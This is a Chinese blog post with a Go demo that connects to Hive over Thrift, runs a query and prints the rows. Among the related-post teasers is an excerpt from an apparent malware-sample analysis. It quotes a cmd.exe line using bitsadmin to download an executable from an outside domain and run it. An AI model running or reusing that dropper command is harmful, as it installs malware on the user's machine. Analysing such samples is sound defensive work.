文档章节

Golang通过thrift连接Hive简单demo

DJZhu
 DJZhu
发布于 2017/09/06 17:15
字数 202
阅读 94
收藏 0

网上关于golang操作hive的文章很少, 最近在用, 研究的过程中记一点代码片段.

package my_hive_cli

import (
	"..../hive/tcliservice"
	"git.apache.org/thrift.git/lib/go/thrift"
)

func NewClient(host string, username string, password string, dbname string) (*tcliservice.TCLIServiceClient, error) {
	transport, err := thrift.NewTSocket(host)
	if err != nil {
		return nil, err
	}
	if err := transport.Open(); err != nil {
		return nil, err
	}
	protocol := thrift.NewTBinaryProtocolFactoryDefault()
	client := tcliservice.NewTCLIServiceClientFactory(transport, protocol)

	openSessionReq := tcliservice.NewTOpenSessionReq()
	if username != "" {
		openSessionReq.Username = &username
		openSessionReq.Password = &password
	}
	openSessionReq.ClientProtocol = tcliservice.TProtocolVersion_HIVE_CLI_SERVICE_PROTOCOL_V5
	if dbname != "" {
		if openSessionReq.Configuration == nil {
			openSessionReq.Configuration = make(map[string]string)
		}
		openSessionReq.Configuration["use:"] = dbname
	}
	openSessionResp, err := client.OpenSession(openSessionReq)
	if err != nil {
		return nil, err
	}
	sessionHandler := openSessionResp.GetSessionHandle()

	exeReq := tcliservice.NewTExecuteStatementReq()
	exeReq.SessionHandle = sessionHandler
	exeReq.Statement = "SELECT COUNT(1) FROM default.test"
	exeResp, err := client.ExecuteStatement(exeReq)
	if err != nil {
		return nil, err
	}
	operationHandler := exeResp.GetOperationHandle()

	fetchReq := tcliservice.NewTFetchResultsReq()
	fetchReq.OperationHandle = operationHandler
	fetchReq.Orientation = tcliservice.TFetchOrientation_FETCH_FIRST
	fetchReq.MaxRows = 10
	fetchResp, err := client.FetchResults(fetchReq)
	if err != nil {
		return nil, err
	}
	res := fetchResp.GetResults().GetRows()
	for _,r := range res{
		row := r.GetColVals()
		for _, filed := range row {
			if filed.IsSetI64Val() {
				println("i64", filed.GetI64Val().GetValue())
			}
			if filed.IsSetI32Val() {
				println("i32", filed.GetI32Val().GetValue())
			}
		}
	}

	closeOperationReq := tcliservice.NewTCloseOperationReq()
	closeOperationReq.OperationHandle = operationHandler
	client.CloseOperation(closeOperationReq)
	closeSessionReq := tcliservice.NewTCloseSessionReq()
	closeSessionReq.SessionHandle = sessionHandler
	client.CloseSession(closeSessionReq)

	transport.Close()

	return client, nil
}

© 著作权归作者所有

共有 人打赏支持
DJZhu
粉丝 2
博文 26
码字总数 30529
作品 0
广州
程序员
通过hiveserver远程服务构建hive web查询分析工具

(1)hive 三种启动方式及用途,本文主要关注通过hiveserver(可jdbc连接)的方式启动 1, hive 命令行模式,直接输入/hive/bin/hive的执行程序,或者输入 hive --service cli 用于linux平台...

大数据之路
2012/12/02
0
0
hive系列之懵懂

大数据时代的技术hive:hive介绍  首先我们要知道hive到底是做什么的。下面这几段文字很好的描述了hive的特性:   1.hive是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一...

空_明
2013/12/04
132
0
Golang通过Thrift框架完美实现跨语言调用

  每种语言都有自己最擅长的领域,Golang 最适合的领域就是服务器端程序。   做为服务器端程序,需要考虑性能同时也要考虑与各种语言之间方便的通讯。采用http协议简单,但性能不高。采用...

qinerg
2013/09/29
0
19
3.sparkSQL整合Hive

  spark SQL经常需要访问Hive metastore,Spark SQL可以通过Hive metastore获取Hive表的元数据。从Spark 1.4.0开始,Spark SQL只需简单的配置,就支持各版本Hive metastore的访问。注意,涉...

intsmaze(刘洋)
08/09
0
0
Hive HA

hive让大数据飞了起来,不再需要专人写MR。平常我们都可以用基于thrift的任意语言来调用hive。 不过爱恨各半,hive的thrift不稳定也是出了名的。很容易就出问题,让人无计可施。唯一的办法就...

foxmoon
2013/10/31
2.6K
1

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
18分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
31分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
33分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
44分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部